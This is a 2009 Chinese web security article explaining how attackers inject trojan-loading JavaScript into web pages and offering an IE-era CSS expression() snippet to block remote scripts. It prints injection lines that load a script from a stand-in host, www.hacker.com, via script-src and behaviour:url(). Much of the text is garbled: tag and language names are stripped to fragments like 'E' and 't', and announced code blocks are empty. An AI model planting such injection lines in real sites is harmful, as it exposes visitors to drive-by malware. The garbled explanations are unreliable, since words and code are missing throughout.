网络安全技巧:反击令人防不胜防的JS挂马

发布时间:2009-6-30浏览:

核心提示:反击令人防不胜防的JS挂马

如果将木马挂在JS脚本中,所有调用该JS脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此JS脚本挂马逐渐开始被黑客应用。

  E挂马

  比较早,相应的预防措施也比较多,其中用CSS配合JS脚本进行预防是主流方式。可这种预防方式也存在安全隐患,JS脚本也可以被用来挂马,令人防不胜防。我们下面要介绍反击JS挂马的方法。

  JS挂马溯源

  当E逐渐被黑客滥用的时候,有经验的安全工程师也开始研究相应的对策,一段时间内各种阻止E挂马的方法不断涌现,其中通用性较高的就是利用CSS配合JS脚本防御E挂马。

  而黑客也发现,很多网站都会让网页调用JS脚本来实现广告等诸多特效,如果将木马挂在JS脚本中,所有调用该JS脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此JS脚本挂马逐渐开始被黑客应用。

  小百科:JS脚本是t脚本语言的简称,它是一种面向对象的脚本语言,目前广泛用于动态网页的编程。需要提示大家的是,t和Java除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的。而t与Jt也不同,Jt是微软为了迎战t推出的脚本语言。

  虽然t作为给非程序人员的脚本语言向大众推广,但是t是一门具有丰富特性的语言,它有着和其他编程语言一样的复杂性。实际上,你必须对JS有扎实的理解才能用它来编写比较复杂的程序,作为一名安全工程师,掌握JS脚本在工作中会有很大的帮助。

  挂马原理一点通

  JS脚本挂马对于黑客而言,可以说优点多得数不过来,首先JS脚本在挂马时可以直接将JS代码写在网页中,也可以通过注入网页,让网站远程调取异地JS脚本。此外,JS挂马插入Web页面的方法有几十种,绝对够菜鸟们眼花缭乱,无从辨别木马在何处。

  E挂马

  相对于安全工程师而言,如同一个穿着鲜红颜色外衣的劫匪,招摇而扎眼,很容易被发现。但是利用JS挂马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在安全工程师搜查时,很容易蒙混过关,导致木马久杀不绝。

  JS挂马攻防实录

  攻现在最多见的JS挂马方法有两种,一种是直接将t脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

 
这种方法使用的关键代码如下:

  这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“border="1"Height=”参数设为“0”,但是设置为0后,可能会出现恶意代码不运行的情况。

  <t src="http://www.hacker.com/木马脚本.js"></t>

  或者

  就成功地将木马挂到了对方的网页中了。

  小提示:

  黑客还可以根据情况随机变换插入的JS挂马方法,例如黑客有可能会将脚本写为:<divstyle="behaviour:url(http://www.hacker.com/木马脚本.js);">或者<esrc="vbt:[挂马脚本]">等。

  防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下:

  emdy1:expression(this.src="about:blank",this.outerHTML="");

  不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。

 
<title>让JS挂马中止的CSS代码</title>

  <style type="text/css" id="shudoo">

  /*<![CDATA[*/

  emdy1:expression(this.src="about:blank",this.outerHTML="");

  /*]]>*/

  </style>

  我们虽然能够巧妙地利用CSS代码防范E和JS脚本挂马,但是为什么网页挂马还是层出不穷?这恐怕就要说一说CSS挂马了,下次我们详细讨论。


前一篇:定做程序设计
后一篇:中小企业便宜建站
分享到: